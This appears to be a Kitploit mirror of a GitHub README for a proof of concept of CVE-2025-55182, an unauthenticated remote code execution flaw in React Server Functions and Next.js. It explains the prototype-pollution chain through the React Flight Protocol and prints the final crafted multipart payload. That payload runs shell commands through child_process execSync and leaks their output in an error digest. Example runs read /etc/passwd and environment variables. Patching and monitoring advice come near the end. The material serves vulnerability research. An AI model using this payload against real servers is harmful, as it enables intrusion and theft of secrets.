Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-55182 | Kitploit
工具/GitHubGitHub/yuta3003/cve-2025-55182
漏洞分析漏洞利用Web应用程序漏洞利用CTF论文与研究学习与教育
GitHubyuta3003/cve-2025-55182

CVE-2025-55182

查看仓库
8个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-55182

这是关于 React Server Functions(Next.js 等)中远程代码执行(RCE)漏洞的验证代码。 利用原型污染,可在无需认证的情况下在服务器上执行任意代码。

注意:本仓库仅供教育/研究目的使用,严禁滥用。


概述

受影响版本

  • Next.js:16.0.6 及更早版本(存在漏洞)
  • React:该提交之前的版本

漏洞严重程度

  • CVSS:高(具体评分尚未公开)
  • 攻击难度:低(无需认证,单个 HTTP 请求即可利用)
  • 影响范围:在服务器上执行任意代码

漏洞成因

React Flight Protocol 的反序列化处理对原型链的校验不充分,从而可通过 __proto__ 访问 Function 构造函数,进而执行任意 JavaScript 代码。


使用方法

Docker 环境(推荐)

这是最简便的验证方式。

root@kitploit:~
# 1. 脆弱なNext.jsサーバーを起動
docker compose up -d --build

# 1. エクスプロイトを実行(デフォルト: idコマンド)
docker compose run --rm poc

# 4. カスタムコマンドを実行
docker compose run --rm -e COMMAND="whoami" poc
docker compose run --rm -e COMMAND="cat /etc/passwd" poc
docker compose run --rm -e COMMAND="env" poc

# 5. サーバーを停止
docker-compose down

技术解析

1. 基础知识

什么是 React Server Functions

Next.js 等框架提供的服务端 API 功能。

root@kitploit:~
// Server Action(サーバー側でのみ実行される関数)
async function submitForm(formData) {
  'use server'  // ← サーバー関数の宣言

  // データベース操作など、サーバー側の処理
  const result = await db.insert(formData)
  return result
}

从客户端调用时:

  1. 以 HTTP 请求方式发送至服务器
  2. 通过 React Flight Protocol 对参数进行序列化/反序列化
  3. 在服务器端执行函数
  4. 将结果返回给客户端

React Flight Protocol 的工作原理

客户端以称为“chunk(块)”的单位发送数据:

root@kitploit:~
files = {
    "0": (None, '["$1"]'),                                  # チャンク0: チャンク1への参照
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'), # チャンク1: チャンク2のfruitNameを参照
    "2": (None, '{"fruitName":"cherry"}'),                  # チャンク2: 実際のデータ
}

在服务器端反序列化后:

root@kitploit:~
{ object: 'fruit', name: 'cherry' }

关键在于 chunk 之间可以相互引用。


2. 漏洞详情

问题所在

在修复提交之前,解析 chunk 引用时,并未验证键是否真实存在于对象上。

这样一来,就可以访问原型链。

基本攻击(获取 Function 构造函数)

root@kitploit:~
files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}

引用解析过程:

root@kitploit:~
チャンク1のオブジェクト → __proto__ → constructor → constructor → Function

结果:

root@kitploit:~
[Function: Function]  // Functionコンストラクタを取得!

攻击进阶(滥用 then 方法)

将 chunk 0 设为对象,并把 then 属性设置为 Function 构造函数:

root@kitploit:~
files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

Next.js 代码(action-handler.ts:888,补丁之前):

root@kitploit:~
boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)

该 await 会尝试调用 then 为 Function 构造函数的对象,从而引发错误:

root@kitploit:~
SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>) {
      digest: '1259793845'
    }

3. 利用技术(高级)

难题

虽然已经拿到了 Function 构造函数,但如何让它执行任意代码呢?

需要以下条件:

  1. 调用 Function 构造函数的 gadget(将代码作为字符串传入)
  2. 执行所生成函数的 gadget

解决方案:自引用 chunk

maple3142 的思路:构造一个让 chunk 0 引用自身的“伪造 chunk”。

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then"}'),  # 自分のthenをChunk.prototype.thenで上書き
    "1": (None, '"$@0"'),                          # $@0 = チャンク0の「生」の表現
}

$@ 语法返回的是“原始 chunk”,而非已解析的值:

root@kitploit:~
case "@":
  return (
    (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
  );

结果:chunk 0 的 then 被替换为 Chunk.prototype.then。

root@kitploit:~
Chunk.prototype.then = function (resolve, reject) {
  switch (this.status) {
    case "resolved_model":
      initializeModelChunk(this);  // ← ここに入る
  }
  // ...
}

利用两步求值

将伪造 chunk 的 status 设置为 "resolved_model" 后,initializeModelChunk 会被调用:

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
    "1": (None, '"$@0"'),
}

initializeModelChunk 内部:

root@kitploit:~
function initializeModelChunk(chunk) {
    var rawModel = JSON.parse(resolvedModel),
        value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
    // ...
}

在这里会发生第二次求值。

最终 payload:滥用 Blob 处理

React Flight Protocol 的 blob 处理($B 前缀):

root@kitploit:~
case "B":
  return (
    obj = parseInt(value.slice(2), 16),
    response._formData.get(response._prefix + obj)  // ← ここを悪用
  );

通过操纵伪造 chunk 的 _response,将 _formData.get 设为 Function 构造函数,并将 _prefix 设为要执行的代码:

root@kitploit:~
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,  # toString()でエラーにならないように
    "value": '{"then": "$B0"}',  # blob参照でthenを設定
    "_response": {
        "_prefix": "process.mainModule.require('child_process').execSync('calc');",
        "_formData": {
            "get": "$1:constructor:constructor",  # Functionコンストラクタ
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

执行流程:

root@kitploit:~
response._formData.get(response._prefix + "0")
↓
Function("process.mainModule.require('child_process').execSync('calc');0")
↓
// この関数がawaitされて呼び出される → コード実行!

4. PoC 的工作方式

poc.py 实现了上述 payload,并从错误消息中提取命令执行结果:

root@kitploit:~
# コマンド出力をエラーのdigestフィールドに埋め込む
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});"

只需在 HTTP 头中设置 Next-Action: x,攻击即可成立:

root@kitploit:~
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers)

重要:该攻击发生在反序列化期间,因此会在动作验证(getActionModIdOrError)之前被执行。


防护措施

面向开发者

  1. 立即更新:将 React 和 Next.js 升级到最新版本

    root@kitploit:~
    npm update react react-dom next
    
  2. 确认版本:

    root@kitploit:~
    npm list react next
    
    • Next.js 16.0.7 及以上版本
    • React 19.2.1 及以上版本(包含修复提交)
  3. WAF/安全措施:

    • 监控 Next-Action 请求头
    • 拦截异常的请求数据

漏洞扫描

root@kitploit:~
# プロジェクトの脆弱性チェック
npm audit

参考资料

  1. React Server Functions 官方文档
  2. React Flight Protocol 详解
  3. 修复提交
  4. JavaScript 原型详解
  5. Function 构造函数
  6. 发现者:maple3142

许可证与免责声明

本仓库仅用于教育/研究目的。

  • 未经许可对第三方系统使用此代码属违法行为
  • 对于因使用本代码而产生的任何损害,作者概不负责
  • 请安全研究人员负责任地使用

致谢

漏洞发现:maple3142 PoC 实现:本仓库作者

下载工具